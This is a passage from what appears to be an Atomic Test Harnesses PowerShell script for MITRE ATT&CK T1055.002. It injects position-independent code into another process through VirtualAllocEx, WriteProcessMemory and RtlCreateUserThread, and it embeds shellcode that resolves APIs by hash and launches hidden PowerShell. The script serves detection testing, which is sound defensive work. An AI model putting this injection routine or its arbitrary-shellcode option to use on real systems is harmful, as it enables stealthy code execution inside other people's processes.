Windows/TestHarnesses/T1055.002_PortableExecutableInjection/InvokeThread.ps1
if (-not ('AtomicTestHarnesses_T1055_002.ProcessNativeMethods' -as [Type])) { $TypeDef = @' using System; using System.Runtime.InteropServices; namespace AtomicTestHarnesses_T1055_002 { [Flags] public enum ProcessAccess { PROCESS_CREATE_THREAD = 0x00000002, // Required for: RtlCreateUserThread PROCESS_VM_OPERATION = 0x00000008, // Required for: VirtualAllocEx, VirtualProtectEx, WriteProcessMemory, RtlCreateUserThread PROCESS_VM_READ = 0x00000010, // Required for: RtlCreateUserThread PROCESS_VM_WRITE = 0x00000020, // Required for: VirtualProtectEx, RtlCreateUserThread PROCESS_QUERY_INFORMATION = 0x00000400, // Required for: RtlCreateUserThread PROCESS_ALL_ACCESS = 0x001FFFFF } public enum PageProtection { PAGE_READWRITE = 0x04, PAGE_EXECUTE_READ = 0x20, PAGE_EXECUTE_READWRITE = 0x40 } public class ProcessNativeMethods { [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess( int processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool IsWow64Process( IntPtr hProcess, ref bool Wow64Process); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr VirtualAllocEx( IntPtr hProcess, IntPtr lpAddress, uint dwSize, int flAllocationType, int flProtect); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool VirtualProtectEx( IntPtr hProcess, IntPtr lpAddress, uint dwSize, int flNewProtect, ref uint lpflOldProtect); [DllImport("ntdll.dll", SetLastError = true)] public static extern int RtlCreateUserThread( IntPtr ProcessHandle, IntPtr SecurityDescriptor, bool CreateSuspended, IntPtr StackZeroBits, IntPtr StackReserved, IntPtr StackCommit, IntPtr StartAddress, IntPtr StartParameter, ref IntPtr ThreadHandle, ref IntPtr ClientID); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool CloseHandle( IntPtr hObject); } } '@ Add-Type -TypeDefinition $TypeDef } function Invoke-ATHInjectedThread { <# .SYNOPSIS Test runner for "Portable Executable" process injection. Technique ID: T1055.002 (Process Injection: Portable Executable Injection) .DESCRIPTION Invoke-ATHInjectedThread injects position-independent code into a target process using the RtlCreateUserThread API. Despite the naming of the "Portable Executable Injection" technique, injection of a Portable Executable (PE) file is not necessary to conduct this technique. When Portable Executable are injected using this technique, they are built in a position-independent fashion that have a PE self-loading capability. Invoke-ATHInjectedThread is designed to only inject into 64-bit processes. .PARAMETER ProcessId Specifies the process ID of the target process that Invoke-ATHInjectedThread will inject into. If -ProcessId is not specified, Invoke-ATHInjectedThread will launch a notepad.exe process that it will inject code into. .PARAMETER ProcessAccessType Specifies the access rights to request of the target process in order to perform injection. Possible values are MinimumAccess and AllAccess. MinimumAccess requests the minimum set of access rights required to perform injection: PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION. AllAccess requests PROCESS_ALL_ACCESS for the target process. If -ProcessAccessType is not specified, MinimumAccess is used as the default value. .PARAMETER MemoryProtectionType Specifies the memory protection type of the injected code at time of execution. Possible values are ReadWriteExecute and ReadExecute. If -MemoryProtectionType is not specified, ReadWriteExecute is used as a default value. ReadWriteExecute is the most flexible option that would permit the execution of self-modifying position-independent code. ReadExecute is ideal when self-modifying code is not needed and the minimum set of permissions necessary to execute is desired. .PARAMETER PositionIndependentCodeBytes Specifies user-supplied position-independent code to inject into the target process. If -PositionIndependentCodeBytes is not specified, default template code will be used. The default template code is useful for confirming that the injected code executed successfully. .PARAMETER TestGuid Optionally, specify a test GUID value to use to override the generated test GUID behavior. .INPUTS System.Diagnostics.Process Invoke-ATHInjectedThread accepts the output of Get-Process. Only one Process object should be supplied to Invoke-ATHInjectedThread. Microsoft.Management.Infrastructure.CimInstance#root/cimv2/Win32_Process Invoke-ATHInjectedThread accepts the output of a Win32_Process WMI object via Get-CimInstance. .OUTPUTS PSObject Outputs an object consisting of relevant execution details. The following object properties may be populated: * TechniqueID - Specifies the relevant MITRE ATT&CK Technique ID. * TestSuccess - Will be set to True if it was determined that the technique executed successfully. Invoke-ATHInjectedThread can only confidently determine success when user-supplied position-independent code is not supplied via -PositionIndependentCodeBytes - i.e. the built-in template code is used. * TestGuid - Specifies the test GUID that was used for the test. * InjectedCodeBytes - Specifies a byte array consisting of the raw bytes that were injected into the target process. * InjectedCodeHash - SHA256 hash of the bytes injected into the target process. * SourceProcessId - Specifies the process ID of the process that performed the injection - i.e. the current PowerShell process. * SourceExecutablePath - Specifies the executable path of the process that performed the injection - i.e. the current PowerShell process. * SourceCommandLine - Specifies the command-line of the process that performed the injection - i.e. the current PowerShell process. * TargetProcessId - Specifies the process ID of the process that Invoke-ATHInjectedThread injects into. * TargetExecutablePath - Specifies the executable path of the process that Invoke-ATHInjectedThread injects into. * TargetCommandLine - Specifies the command-line of the process that Invoke-ATHInjectedThread injects into. * TargetProcessAccess - Specifies the process access rights requested of the target process. * TargetProcessAccessValue - Specifies the process access rights requested of the target process as a decimal value. * TargetBaseAddressHex - Specifies the base address of the memory that Invoke-ATHInjectedThread allocates in the target process. * TargetAllocationPageProtect - Specifies the memory page protection of the position-independent code in the target process at time of execution. Possible values are PAGE_EXECUTE_READ and PAGE_EXECUTE_READWRITE. * TargetAllocationPageProtectValue - Specifies the memory page protection of the position-independent code in the target process at time of execution as a decimal value. * TargetThreadId - Specifies the thread ID of the new thread that Invoke-ATHInjectedThread creates in the target process. * TargetChildProcessId - Specifies the process ID of the powershell.exe process that spawned as the result of the template position-independent code successfully executing. This property will only be populated by Invoke-ATHInjectedThread when an argument is supplied to -PositionIndependentCodeBytes by a user. * TargetChildProcessCommandLine - Specifies the command-line of the powershell.exe process that spawned as the result of the template position-independent code successfully executing. This property will only be populated by Invoke-ATHInjectedThread when an argument is supplied to -PositionIndependentCodeBytes by a user. .EXAMPLE Invoke-ATHInjectedThread Injects template code into a spawned notepad.exe process. .EXAMPLE Get-Process explorer | Invoke-ATHInjectedThread Injects template code into explorer.exe. .EXAMPLE Invoke-ATHInjectedThread -PositionIndependentCodeBytes @(0x90, 0x90, 0x90, 0xC3) Injects user-supplied position-independent code into a spawned notepad.exe process. .EXAMPLE Get-Process explorer | Invoke-ATHInjectedThread -PositionIndependentCodeBytes @(0x90, 0x90, 0x90, 0xC3) Injects user-supplied position-independent code into explorer.exe. .EXAMPLE Invoke-ATHInjectedThread -ProcessAccessType AllAccess Specifies PROCESS_ALL_ACCESS access to a spawned notepad.exe process that it injects template code into. .EXAMPLE Invoke-ATHInjectedThread -MemoryProtectionType ReadExecute Executes injected code from a PAGE_EXECUTE_READ page instead of using default PAGE_EXECUTE_READWRITE permissions. #> [CmdletBinding()] param ( [Parameter(ValueFromPipelineByPropertyName)] [Int32] [Alias('Id')] $ProcessId, [String] [ValidateSet('MinimumAccess', 'AllAccess')] $ProcessAccessType = 'MinimumAccess', [String] [ValidateSet('ReadWriteExecute', 'ReadExecute')] $MemoryProtectionType = 'ReadWriteExecute', [Byte[]] [ValidateNotNullOrEmpty()] $PositionIndependentCodeBytes, [Guid] $TestGuid = (New-Guid) ) #region Setup $TestGuidToUse = $TestGuid $TestSuccess = $null $SpawnedProcProcessId = $null $SpawnedProcCommandLine = $null # The following template code launches a PowerShell child process with the following command-line: # powershell.exe -nop -Command Write-Host AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA; Start-Sleep -Seconds 2; exit # The AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA guid is replaced dynamically based on $TestGuid and is used to validate the successful execution of the injected code in a safe fashion. # SHA256 Hash: E06AE84E0EACCCB32E8A09A664DA565E8A052D1CC9432DD5E0478470937BF5EA # VirusTotal: https://www.virustotal.com/gui/file/e06ae84e0eacccb32e8a09a664da565e8a052d1cc9432dd5e0478470937bf5ea/details # The code below was generated with the following C code that was compiled in a position-indepedent fashion: <# #define WIN32_LEAN_AND_MEAN #pragma warning( disable : 4201 ) // Disable warning about 'nameless struct/union' #include "GetProcAddressWithHash.h" #include "64BitHelper.h" #include <windows.h> #include <intrin.h> typedef BOOL(WINAPI* FuncCreateProcess) ( _In_opt_ LPCTSTR lpApplicationName, _Inout_opt_ LPTSTR lpCommandLine, _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ BOOL bInheritHandles, _In_ DWORD dwCreationFlags, _In_opt_ LPVOID lpEnvironment, _In_opt_ LPCTSTR lpCurrentDirectory, _In_ LPSTARTUPINFO lpStartupInfo, _Out_ LPPROCESS_INFORMATION lpProcessInformation ); typedef DWORD(WINAPI* FuncWaitForSingleObject) ( _In_ HANDLE hHandle, _In_ DWORD dwMilliseconds ); VOID Execute(VOID) { FuncCreateProcess MyCreateProcessA; FuncWaitForSingleObject MyWaitForSingleObject; STARTUPINFO StartupInfo; PROCESS_INFORMATION ProcessInformation; // Hardcoded C:\ path to powershell.exe was used to support injection into processes where %PATH% is not populated. // For the sake of simplicity, this is the most straightforward solution. char cmdline[] = { 'C', ':', '\\', 'W', 'I', 'N', 'D', 'O', 'W', 'S', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', 'P', 'o', 'w', 'e', 'r', 'S', 'h', 'e', 'l', 'l', '\\', 'v', '1', '.', '0', '\\', 'p', 'o', 'w', 'e', 'r', 's', 'h', 'e', 'l', 'l', '.', 'e', 'x', 'e', ' ', '-', 'n', 'o', 'p', ' ', '-', 'n', 'o', 'n', 'i', ' ', '-', 'C', 'o', 'm', 'm', 'a', 'n', 'd', ' ', 'W', 'r', 'i', 't', 'e', '-', 'H', 'o', 's', 't', ' ', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', '-', 'A', 'A', 'A', 'A', '-', 'A', 'A', 'A', 'A', '-', 'A', 'A', 'A', 'A', '-', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', ';', ' ', 'S', 't', 'a', 'r', 't', '-', 'S', 'l', 'e', 'e', 'p', ' ', '-', 'S', 'e', 'c', 'o', 'n', 'd', 's', ' ', '2', ';', ' ', 'e', 'x', 'i', 't', 0 }; SecureZeroMemory(&StartupInfo, sizeof(StartupInfo)); SecureZeroMemory(&ProcessInformation, sizeof(ProcessInformation)); #pragma warning( push ) #pragma warning( disable : 4055 ) // Ignore cast warnings MyCreateProcessA = (FuncCreateProcess)GetProcAddressWithHash(0x863FCC79); #pragma warning( pop ) StartupInfo.dwFlags = STARTF_USESHOWWINDOW; StartupInfo.wShowWindow = SW_HIDE; StartupInfo.cb = sizeof(StartupInfo); MyCreateProcessA( NULL, (LPTSTR)cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &StartupInfo, &ProcessInformation ); } #> [Byte[]] $TemplatePositionIndependentCodeBytes = @( 0x48,0x83,0xEC,0x28,0xE8,0xB7,0x07,0x00,0x00,0x48,0x83,0xC4,0x28,0xC3,0xCC,0xCC, 0x89,0x4C,0x24,0x08,0x56,0x57,0x48,0x81,0xEC,0x88,0x00,0x00,0x00,0x65,0x48,0x8B, 0x04,0x25,0x60,0x00,0x00,0x00,0x48,0x89,0x44,0x24,0x48,0x48,0x8B,0x44,0x24,0x48, 0x48,0x8B,0x40,0x18,0x48,0x89,0x44,0x24,0x50,0x48,0x8B,0x44,0x24,0x50,0x48,0x8B, 0x40,0x10,0x48,0x89,0x44,0x24,0x58,0x48,0x8B,0x44,0x24,0x58,0x48,0x89,0x44,0x24, 0x28,0x48,0x8B,0x44,0x24,0x28,0x48,0x83,0x78,0x30,0x00,0x0F,0x84,0x35,0x02,0x00, 0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x48,0x8B,0x44,0x24,0x28,0x48,0x8B, 0x40,0x30,0x48,0x89,0x44,0x24,0x18,0x48,0x8D,0x44,0x24,0x70,0x48,0x8B,0x4C,0x24, 0x28,0x48,0x8B,0xF8,0x48,0x8D,0x71,0x58,0xB9,0x10,0x00,0x00,0x00,0xF3,0xA4,0x48, 0x8B,0x44,0x24,0x18,0x48,0x63,0x40,0x3C,0x48,0x8B,0x4C,0x24,0x18,0x48,0x03,0xC8, 0x48,0x8B,0xC1,0x48,0x89,0x44,0x24,0x60,0xB8,0x08,0x00,0x00,0x00,0x48,0x6B,0xC0, 0x00,0x48,0x8B,0x4C,0x24,0x60,0x8B,0x84,0x01,0x88,0x00,0x00,0x00,0x89,0x44,0x24, 0x24,0x48,0x8B,0x44,0x24,0x28,0x48,0x8B,0x00,0x48,0x89,0x44,0x24,0x28,0x83,0x7C, 0x24,0x24,0x00,0x75,0x05,0xE9,0x77,0xFF,0xFF,0xFF,0xC7,0x04,0x24,0x00,0x00,0x00, 0x00,0xEB,0x08,0x8B,0x04,0x24,0xFF,0xC0,0x89,0x04,0x24,0x0F,0xB7,0x44,0x24,0x72, 0x39,0x04,0x24,0x73,0x60,0x8B,0x04,0x24,0x48,0x8B,0x4C,0x24,0x78,0x48,0x03,0xC8, 0x48,0x8B,0xC1,0x48,0x89,0x44,0x24,0x10,0x8B,0x44,0x24,0x04,0xC1,0xE8,0x0D,0x8B, 0x4C,0x24,0x04,0xC1,0xE1,0x13,0x0B,0xC1,0x89,0x44,0x24,0x04,0x48,0x8B,0x44,0x24, 0x10,0x0F,0xBE,0x00,0x83,0xF8,0x61,0x7C,0x16,0x48,0x8B,0x44,0x24,0x10,0x0F,0xBE, 0x00,0x8B,0x4C,0x24,0x04,0x8D,0x44,0x01,0xE0,0x89,0x44,0x24,0x04,0xEB,0x14,0x48, 0x8B,0x44,0x24,0x10,0x0F,0xBE,0x00,0x8B,0x4C,0x24,0x04,0x03,0xC8,0x8B,0xC1,0x89, 0x44,0x24,0x04,0xEB,0x8E,0x8B,0x44,0x24,0x24,0x48,0x8B,0x4C,0x24,0x18,0x48,0x03, 0xC8,0x48,0x8B,0xC1,0x48,0x89,0x44,0x24,0x30,0x48,0x8B,0x44,0x24,0x30,0x8B,0x40, 0x18,0x89,0x44,0x24,0x38,0x48,0x8B,0x44,0x24,0x30,0x8B,0x40,0x20,0x48,0x8B,0x4C, 0x24,0x18,0x48,0x03,0xC8,0x48,0x8B,0xC1,0x48,0x89,0x44,0x24,0x40,0xC7,0x04,0x24, 0x00,0x00,0x00,0x00,0xEB,0x08,0x8B,0x04,0x24,0xFF,0xC0,0x89,0x04,0x24,0x8B,0x44, 0x24,0x38,0x39,0x04,0x24,0x0F,0x83,0xE6,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00, 0x00,0x00,0x00,0x48,0x8B,0x44,0x24,0x40,0x8B,0x00,0x48,0x03,0x44,0x24,0x18,0x48, 0x89,0x44,0x24,0x68,0x48,0x8B,0x44,0x24,0x40,0x48,0x83,0xC0,0x04,0x48,0x89,0x44, 0x24,0x40,0x48,0x8B,0x44,0x24,0x68,0x48,0x89,0x44,0x24,0x10,0x8B,0x44,0x24,0x08, 0xC1,0xE8,0x0D,0x8B,0x4C,0x24,0x08,0xC1,0xE1,0x13,0x0B,0xC1,0x89,0x44,0x24,0x08, 0x48,0x8B,0x44,0x24,0x10,0x0F,0xBE,0x00,0x8B,0x4C,0x24,0x08,0x03,0xC8,0x8B,0xC1, 0x89,0x44,0x24,0x08,0x48,0x8B,0x44,0x24,0x10,0x48,0xFF,0xC0,0x48,0x89,0x44,0x24, 0x10,0x48,0x8B,0x44,0x24,0x10,0x0F,0xBE,0x40,0xFF,0x85,0xC0,0x75,0xBE,0x8B,0x44, 0x24,0x04,0x8B,0x4C,0x24,0x08,0x03,0xC8,0x8B,0xC1,0x89,0x44,0x24,0x08,0x8B,0x84, 0x24,0xA0,0x00,0x00,0x00,0x39,0x44,0x24,0x08,0x75,0x51,0x48,0x8B,0x44,0x24,0x30, 0x8B,0x40,0x24,0x48,0x8B,0x4C,0x24,0x18,0x48,0x03,0xC8,0x48,0x8B,0xC1,0x8B,0x0C, 0x24,0xD1,0xE1,0x8B,0xC9,0x0F,0xB7,0x04,0x08,0x66,0x89,0x44,0x24,0x20,0x48,0x8B, 0x44,0x24,0x30,0x8B,0x40,0x1C,0x48,0x8B,0x4C,0x24,0x18,0x48,0x03,0xC8,0x48,0x8B, 0xC1,0x0F,0xB7,0x4C,0x24,0x20,0xC1,0xE1,0x02,0x48,0x63,0xC9,0x8B,0x04,0x08,0x48, 0x8B,0x4C,0x24,0x18,0x48,0x03,0xC8,0x48,0x8B,0xC1,0xEB,0x0C,0xE9,0x05,0xFF,0xFF, 0xFF,0xE9,0xBB,0xFD,0xFF,0xFF,0x33,0xC0,0x48,0x81,0xC4,0x88,0x00,0x00,0x00,0x5F, 0x5E,0xC3,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC, 0x48,0x81,0xEC,0x88,0x01,0x00,0x00,0xC6,0x44,0x24,0x50,0x43,0xC6,0x44,0x24,0x51, 0x3A,0xC6,0x44,0x24,0x52,0x5C,0xC6,0x44,0x24,0x53,0x57,0xC6,0x44,0x24,0x54,0x49, 0xC6,0x44,0x24,0x55,0x4E,0xC6,0x44,0x24,0x56,0x44,0xC6,0x44,0x24,0x57,0x4F,0xC6, 0x44,0x24,0x58,0x57,0xC6,0x44,0x24,0x59,0x53,0xC6,0x44,0x24,0x5A,0x5C,0xC6,0x44, 0x24,0x5B,0x53,0xC6,0x44,0x24,0x5C,0x79,0xC6,0x44,0x24,0x5D,0x73,0xC6,0x44,0x24, 0x5E,0x74,0xC6,0x44,0x24,0x5F,0x65,0xC6,0x44,0x24,0x60,0x6D,0xC6,0x44,0x24,0x61, 0x33,0xC6,0x44,0x24,0x62,0x32,0xC6,0x44,0x24,0x63,0x5C,0xC6,0x44,0x24,0x64,0x57, 0xC6,0x44,0x24,0x65,0x69,0xC6,0x44,0x24,0x66,0x6E,0xC6,0x44,0x24,0x67,0x64,0xC6, 0x44,0x24,0x68,0x6F,0xC6,0x44,0x24,0x69,0x77,0xC6,0x44,0x24,0x6A,0x73,0xC6,0x44, 0x24,0x6B,0x50,0xC6,0x44,0x24,0x6C,0x6F,0xC6,0x44,0x24,0x6D,0x77,0xC6,0x44,0x24, 0x6E,0x65,0xC6,0x44,0x24,0x6F,0x72,0xC6,0x44,0x24,0x70,0x53,0xC6,0x44,0x24,0x71, 0x68,0xC6,0x44,0x24,0x72,0x65,0xC6,0x44,0x24,0x73,0x6C,0xC6,0x44,0x24,0x74,0x6C, 0xC6,0x44,0x24,0x75,0x5C,0xC6,0x44,0x24,0x76,0x76,0xC6,0x44,0x24,0x77,0x31,0xC6, 0x44,0x24,0x78,0x2E,0xC6,0x44,0x24,0x79,0x30,0xC6,0x44,0x24,0x7A,0x5C,0xC6,0x44, 0x24,0x7B,0x70,0xC6,0x44,0x24,0x7C,0x6F,0xC6,0x44,0x24,0x7D,0x77,0xC6,0x44,0x24, 0x7E,0x65,0xC6,0x44,0x24,0x7F,0x72,0xC6,0x84,0x24,0x80,0x00,0x00,0x00,0x73,0xC6, 0x84,0x24,0x81,0x00,0x00,0x00,0x68,0xC6,0x84,0x24,0x82,0x00,0x00,0x00,0x65,0xC6, 0x84,0x24,0x83,0x00,0x00,0x00,0x6C,0xC6,0x84,0x24,0x84,0x00,0x00,0x00,0x6C,0xC6, 0x84,0x24,0x85,0x00,0x00,0x00,0x2E,0xC6,0x84,0x24,0x86,0x00,0x00,0x00,0x65,0xC6, 0x84,0x24,0x87,0x00,0x00,0x00,0x78,0xC6,0x84,0x24,0x88,0x00,0x00,0x00,0x65,0xC6, 0x84,0x24,0x89,0x00,0x00,0x00,0x20,0xC6,0x84,0x24,0x8A,0x00,0x00,0x00,0x2D,0xC6, 0x84,0x24,0x8B,0x00,0x00,0x00,0x6E,0xC6,0x84,0x24,0x8C,0x00,0x00,0x00,0x6F,0xC6, 0x84,0x24,0x8D,0x00,0x00,0x00,0x70,0xC6,0x84,0x24,0x8E,0x00,0x00,0x00,0x20,0xC6, 0x84,0x24,0x8F,0x00,0x00,0x00,0x2D,0xC6,0x84,0x24,0x90,0x00,0x00,0x00,0x6E,0xC6, 0x84,0x24,0x91,0x00,0x00,0x00,0x6F,0xC6,0x84,0x24,0x92,0x00,0x00,0x00,0x6E,0xC6, 0x84,0x24,0x93,0x00,0x00,0x00,0x69,0xC6,0x84,0x24,0x94,0x00,0x00,0x00,0x20,0xC6, 0x84,0x24,0x95,0x00,0x00,0x00,0x2D,0xC6,0x84,0x24,0x96,0x00,0x00,0x00,0x43,0xC6, 0x84,0x24,0x97,0x00,0x00,0x00,0x6F,0xC6,0x84,0x24,0x98,0x00,0x00,0x00,0x6D,0xC6, 0x84,0x24,0x99,0x00,0x00,0x00,0x6D,0xC6,0x84,0x24,0x9A,0x00,0x00,0x00,0x61,0xC6, 0x84,0x24,0x9B,0x00,0x00,0x00,0x6E,0xC6,0x84,0x24,0x9C,0x00,0x00,0x00,0x64,0xC6, 0x84,0x24,0x9D,0x00,0x00,0x00,0x20,0xC6,0x84,0x24,0x9E,0x00,0x00,0x00,0x57,0xC6, 0x84,0x24,0x9F,0x00,0x00,0x00,0x72,0xC6,0x84,0x24,0xA0,0x00,0x00,0x00,0x69,0xC6, 0x84,0x24,0xA1,0x00,0x00,0x00,0x74,0xC6,0x84,0x24,0xA2,0x00,0x00,0x00,0x65,0xC6, 0x84,0x24,0xA3,0x00,0x00,0x00,0x2D,0xC6,0x84,0x24,0xA4,0x00,0x00,0x00,0x48,0xC6, 0x84,0x24,0xA5,0x00,0x00,0x00,0x6F,0xC6,0x84,0x24,0xA6,0x00,0x00,0x00,0x73,0xC6, 0x84,0x24,0xA7,0x00,0x00,0x00,0x74,0xC6,0x84,0x24,0xA8,0x00,0x00,0x00,0x20,0xC6, 0x84,0x24,0xA9,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xAA,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xAB,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xAC,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xAD,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xAE,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xAF,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xB0,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xB1,0x00,0x00,0x00,0x2D,0xC6,0x84,0x24,0xB2,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xB3,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xB4,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xB5,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xB6,0x00,0x00,0x00,0x2D,0xC6, 0x84,0x24,0xB7,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xB8,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xB9,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xBA,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xBB,0x00,0x00,0x00,0x2D,0xC6,0x84,0x24,0xBC,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xBD,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xBE,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xBF,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xC0,0x00,0x00,0x00,0x2D,0xC6, 0x84,0x24,0xC1,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xC2,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xC3,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xC4,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xC5,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xC6,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xC7,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xC8,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xC9,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xCA,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xCB,0x00,0x00,0x00,0x41,0xC6,0x84,0x24,0xCC,0x00,0x00,0x00,0x41,0xC6, 0x84,0x24,0xCD,0x00,0x00,0x00,0x3B,0xC6,0x84,0x24,0xCE,0x00,0x00,0x00,0x20,0xC6, 0x84,0x24,0xCF,0x00,0x00,0x00,0x53,0xC6,0x84,0x24,0xD0,0x00,0x00,0x00,0x74,0xC6, 0x84,0x24,0xD1,0x00,0x00,0x00,0x61,0xC6,0x84,0x24,0xD2,0x00,0x00,0x00,0x72,0xC6, 0x84,0x24,0xD3,0x00,0x00,0x00,0x74,0xC6,0x84,0x24,0xD4,0x00,0x00,0x00,0x2D,0xC6, 0x84,0x24,0xD5,0x00,0x00,0x00,0x53,0xC6,0x84,0x24,0xD6,0x00,0x00,0x00,0x6C,0xC6, 0x84,0x24,0xD7,0x00,0x00,0x00,0x65,0xC6,0x84,0x24,0xD8,0x00,0x00,0x00,0x65,0xC6, 0x84,0x24,0xD9,0x00,0x00,0x00,0x70,0xC6,0x84,0x24,0xDA,0x00,0x00,0x00,0x20,0xC6, 0x84,0x24,0xDB,0x00,0x00,0x00,0x2D,0xC6,0x84,0x24,0xDC,0x00,0x00,0x00,0x53,0xC6, 0x84,0x24,0xDD,0x00,0x00,0x00,0x65,0xC6,0x84,0x24,0xDE,0x00,0x00,0x00,0x63,0xC6, 0x84,0x24,0xDF,0x00,0x00,0x00,0x6F,0xC6,0x84,0x24,0xE0,0x00,0x00,0x00,0x6E,0xC6, 0x84,0x24,0xE1,0x00,0x00,0x00,0x64,0xC6,0x84,0x24,0xE2,0x00,0x00,0x00,0x73,0xC6, 0x84,0x24,0xE3,0x00,0x00,0x00,0x20,0xC6,0x84,0x24,0xE4,0x00,0x00,0x00,0x32,0xC6, 0x84,0x24,0xE5,0x00,0x00,0x00,0x3B,0xC6,0x84,0x24,0xE6,0x00,0x00,0x00,0x20,0xC6, 0x84,0x24,0xE7,0x00,0x00,0x00,0x65,0xC6,0x84,0x24,0xE8,0x00,0x00,0x00,0x78,0xC6, 0x84,0x24,0xE9,0x00,0x00,0x00,0x69,0xC6,0x84,0x24,0xEA,0x00,0x00,0x00,0x74,0xC6, 0x84,0x24,0xEB,0x00,0x00,0x00,0x00,0xBA,0x68,0x00,0x00,0x00,0x48,0x8D,0x8C,0x24, 0x10,0x01,0x00,0x00,0xE8,0xC7,0x00,0x00,0x00,0xBA,0x18,0x00,0x00,0x00,0x48,0x8D, 0x8C,0x24,0xF8,0x00,0x00,0x00,0xE8,0xB5,0x00,0x00,0x00,0xB9,0x79,0xCC,0x3F,0x86, 0xE8,0xDB,0xF8,0xFF,0xFF,0x48,0x89,0x84,0x24,0xF0,0x00,0x00,0x00,0xC7,0x84,0x24, 0x4C,0x01,0x00,0x00,0x01,0x00,0x00,0x00,0x33,0xC0,0x66,0x89,0x84,0x24,0x50,0x01, 0x00,0x00,0xC7,0x84,0x24,0x10,0x01,0x00,0x00,0x68,0x00,0x00,0x00,0x48,0x8D,0x84, 0x24,0xF8,0x00,0x00,0x00,0x48,0x89,0x44,0x24,0x48,0x48,0x8D,0x84,0x24,0x10,0x01, 0x00,0x00,0x48,0x89,0x44,0x24,0x40,0x48,0xC7,0x44,0x24,0x38,0x00,0x00,0x00,0x00, 0x48,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00, 0x00,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x45,0x33,0xC9,0x45,0x33,0xC0,0x48, 0x8D,0x54,0x24,0x50,0x33,0xC9,0xFF,0x94,0x24,0xF0,0x00,0x00,0x00,0x48,0x81,0xC4, 0x88,0x01,0x00,0x00,0xC3,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC, 0x56,0x48,0x8B,0xF4,0x48,0x83,0xE4,0xF0,0x48,0x83,0xEC,0x20,0xE8,0xDF,0xFA,0xFF, 0xFF,0x48,0x8B,0xE6,0x5E,0xC3,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC, 0x48,0x89,0x54,0x24,0x10,0x48,0x89,0x4C,0x24,0x08,0x57,0x48,0x83,0xEC,0x10,0x48, 0x8B,0x44,0x24,0x20,0x48,0x89,0x04,0x24,0x48,0x8B,0x3C,0x24,0x33,0xC0,0x48,0x8B, 0x4C,0x24,0x28,0xF3,0xAA,0x48,0x8B,0x44,0x24,0x20,0x48,0x83,0xC4,0x10,0x5F,0xC3 ) # Offsets to the template GUID string in the above position-indepedent code [Int[]] $GUIDCharOffsets = @( 0x4F6,0x4FE,0x506,0x50E,0x516,0x51E,0x526,0x52E,0x536,0x53E,0x546,0x54E,0x556,0x55E,0x566,0x56E,0x576,0x57E,0x586,0x58E,0x596,0x59E,0x5A6,0x5AE,0x5B6,0x5BE,0x5C6,0x5CE,0x5D6,0x5DE,0x5E6,0x5EE,0x5F6,0x5FE,0x606,0x60E ) if ($PositionIndependentCodeBytes) { $PositionIndependentCode = $PositionIndependentCodeBytes } else { [Byte[]] $TestGuidChars = [Text.Encoding]::ASCII.GetBytes($TestGuid.Guid) # Replace the template GUID with the contents of $TestGuid for ($i = 0; $i -lt $GUIDCharOffsets.Length; $i++) { 